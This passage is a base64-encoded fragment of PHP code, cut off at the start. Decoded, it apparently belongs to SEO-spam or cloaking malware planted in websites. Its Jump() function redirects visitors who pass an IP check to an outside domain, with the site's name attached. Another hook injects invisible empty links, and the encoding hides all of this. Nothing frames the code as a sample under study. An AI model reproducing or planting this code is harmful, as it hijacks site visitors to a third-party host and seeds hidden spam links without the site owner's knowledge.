aW9uIEp1bXAoKXsKCQlpZigkdGhpcy0+aXNBbGxvd2RJcCgpKXsKCQkJJGRvbWFpbiAgPSBzdHJf cmVwbGFjZSgiLiIsIl8iLCR0aGlzLT5kb21haW4pOwoJCQloZWFkZXIoJ0xvY2F0aW9uOiBodHRw Oi8vbnQud3hjb29sYmFieS5jb20vbnQvP2pwXycuJGRvbWFpbik7CgkJCWV4aXQ7CgkJfQoJfQoJ CglwdWJsaWMgZnVuY3Rpb24gX3VuY29uZGl0aW9uX2hvb2soKXsKCQkkYXJyYXkgPSBhcnJheSgp OwoJCWZvcigkYT0wOyRhPDU7JGErKyl7CgkJCWVjaG8gJzxhIGhyZWY9IicuQXBwX0dldExpbmso KS4nIj48L2E+Jy4iXG4iOwoJCX0KCX0KCglwdWJsaWMgZnVuY3Rpb24gX3VuU3BpZGVyX2hvb2so KXsKCQkvLwoJfQoKCglwdWJsaWMgZnVuY3Rpb24gc3RyU3RhcnRXaXRoKCRuZWVkbGUsICRoYXlz dGFjayl7CiAgCSAgcmV0dXJuIChzdWJzdHIoJGhheXN0YWNrLCAwLCBzdHJsZW4oJG5lZWRsZSkp PT0kbmVlZGxlKTsKCX0KCQoJcHVibGljIGZ1bmN0aW9uIGN1dCgkZmlsZSwkZnJvbSwkZW5kKQoJ eyAKCQkkbWVzc2FnZT1leHBsb2RlKCRmcm9tLCRmaWxlKTsgCgkJJG1lc3NhZ2U9ZXhwbG9kZSgk ZW5kLCRtZXNzYWdlWzFdKTsgCgkJcmV0dXJuICAgJG1lc3NhZ2VbMF07Cgl9Cn0KCgo=